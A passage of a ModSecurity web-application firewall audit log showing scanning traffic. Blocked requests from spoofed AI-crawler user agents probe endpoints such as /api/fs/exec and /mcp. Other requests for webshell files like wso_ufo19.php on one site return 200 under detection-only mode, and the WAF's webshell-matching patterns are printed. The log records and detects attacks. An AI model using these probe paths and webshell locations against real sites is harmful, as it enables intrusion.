User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--b1081206-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b1081206-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982406742 64066 (- - -)
Stopwatch2: 1789305982406742 64066; combined=5366, p1=235, p2=4677, p3=0, p4=0, p5=454, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b1081206-Z--

--5a30a01c-A--
[13/Sep/2026:16:26:22.727241 +0300] aqakfkwu1RSkptiiNIX@XgAAAJI 34.73.17.152 41234 127.0.0.1 7081
--5a30a01c-B--
POST /api/fs/exec HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--5a30a01c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5a30a01c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982630974 96336 (- - -)
Stopwatch2: 1789305982630974 96336; combined=8791, p1=499, p2=7975, p3=0, p4=0, p5=316, sr=197, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5a30a01c-Z--

--d90b062b-A--
[13/Sep/2026:16:26:22.929663 +0300] aqakfmM7dE9KgIIOpQiA7wAAANM 34.73.17.152 41236 127.0.0.1 7081
--d90b062b-B--
DELETE /api/inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--d90b062b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d90b062b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305982867251 62472 (- - -)
Stopwatch2: 1789305982867251 62472; combined=4400, p1=237, p2=3877, p3=0, p4=0, p5=286, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d90b062b-Z--

--3371bb3f-A--
[13/Sep/2026:16:26:23.131434 +0300] aqakf0wu1RSkptiiNIX@XwAAAJM 34.73.17.152 41240 127.0.0.1 7081
--3371bb3f-B--
DELETE /inngest HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--3371bb3f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3371bb3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983064942 66539 (- - -)
Stopwatch2: 1789305983064942 66539; combined=4329, p1=209, p2=3841, p3=0, p4=0, p5=279, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3371bb3f-Z--

--8156e169-A--
[13/Sep/2026:16:26:23.351461 +0300] aqakf2M7dE9KgIIOpQiA8AAAAME 34.73.17.152 41256 127.0.0.1 7081
--8156e169-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--8156e169-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8156e169-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983287423 64100 (- - -)
Stopwatch2: 1789305983287423 64100; combined=4783, p1=313, p2=4164, p3=0, p4=0, p5=305, sr=151, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8156e169-Z--

--e51ff970-A--
[13/Sep/2026:16:26:23.564346 +0300] aqakf0wu1RSkptiiNIX@YAAAAJU 34.73.17.152 41260 127.0.0.1 7081
--e51ff970-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--e51ff970-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e51ff970-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983495768 68658 (- - -)
Stopwatch2: 1789305983495768 68658; combined=5304, p1=322, p2=4587, p3=0, p4=0, p5=395, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e51ff970-Z--

--93602c31-A--
[13/Sep/2026:16:26:23.793081 +0300] aqakfzTJ6xTvcJoem7f9-wAAAEA 34.73.17.152 41270 127.0.0.1 7081
--93602c31-B--
POST /mcp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip

--93602c31-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--93602c31-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983720773 72376 (- - -)
Stopwatch2: 1789305983720773 72376; combined=6417, p1=242, p2=4485, p3=0, p4=0, p5=1690, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--93602c31-Z--

--35cc8618-A--
[13/Sep/2026:16:26:34.082426 +0300] aqakiisVWymXUono-eRXbgAAAAc 34.77.53.223 55814 127.0.0.1 7081
--35cc8618-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.77.53.223
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=QpowJm4%2Fv4uAYuh6wmtLmDQ0ZjNlZjg4MTllNmY0ZTZkNjAxODhmMTE1MWQ0ZjVjZTQyMjk2MWQ%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--35cc8618-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--35cc8618-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/xmlrpc.php"] [unique_id "aqakiisVWymXUono-eRXbgAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/xmlrpc.php"] [unique_id "aqakiisVWymXUono-eRXbgAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305994014038 68436 (- - -)
Stopwatch2: 1789305994014038 68436; combined=3985, p1=294, p2=3612, p3=0, p4=0, p5=78, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35cc8618-Z--

--a963904e-A--
[13/Sep/2026:16:37:42.276979 +0300] aqanJmM7dE9KgIIOpQiBcQAAANY 34.77.53.223 52714 127.0.0.1 7081
--a963904e-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.77.53.223
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=FKIWwB0%2BIbG2v0qb%2BeRWcThjOGQyYzI1MTgzOGUyYWI5M2VhNDgzNDZiZjFmZjI1OGQwNWQ0MzY%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--a963904e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a963904e-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqanJmM7dE9KgIIOpQiBcQAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqanJmM7dE9KgIIOpQiBcQAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306662175372 101660 (- - -)
Stopwatch2: 1789306662175372 101660; combined=6687, p1=490, p2=6100, p3=0, p4=0, p5=96, sr=238, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a963904e-Z--

--8154783d-A--
[13/Sep/2026:16:41:39.143861 +0300] aqaoEysVWymXUono-eRXkAAAABA 104.28.131.119 50332 127.0.0.1 7081
--8154783d-B--
GET /img/ufo19_shell_30207.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--8154783d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8154783d-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaoEysVWymXUono-eRXkAAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaoEysVWymXUono-eRXkAAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899128900 15043 (- - -)
Stopwatch2: 1789306899128900 15043; combined=4892, p1=251, p2=4541, p3=0, p4=0, p5=99, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--8154783d-Z--

--d03b567d-A--
[13/Sep/2026:16:41:39.146256 +0300] aqaoEysVWymXUono-eRXkQAAABg 104.28.131.119 50324 127.0.0.1 7081
--d03b567d-B--
GET /img/wso_ufo19.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--d03b567d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Set-Cookie: 3edd395a10c4893e5a21ace356f6da14key=d6a8dad0f695956302627a5068bb4318
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d03b567d-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaoEysVWymXUono-eRXkQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaoEysVWymXUono-eRXkQAAABg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899135785 10536 (- - -)
Stopwatch2: 1789306899135785 10536; combined=4805, p1=220, p2=4527, p3=0, p4=0, p5=58, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--d03b567d-Z--

--a32fd33c-A--
[13/Sep/2026:16:41:39.150782 +0300] aqaoEysVWymXUono-eRXjwAAAAk 104.28.131.119 50312 127.0.0.1 7081
--a32fd33c-B--
GET /img/ufo_fm.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D

--a32fd33c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a32fd33c-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaoEysVWymXUono-eRXjwAAAAk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaoEysVWymXUono-eRXjwAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899125822 25025 (- - -)
Stopwatch2: 1789306899125822 25025; combined=22591, p1=236, p2=22291, p3=0, p4=0, p5=64, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
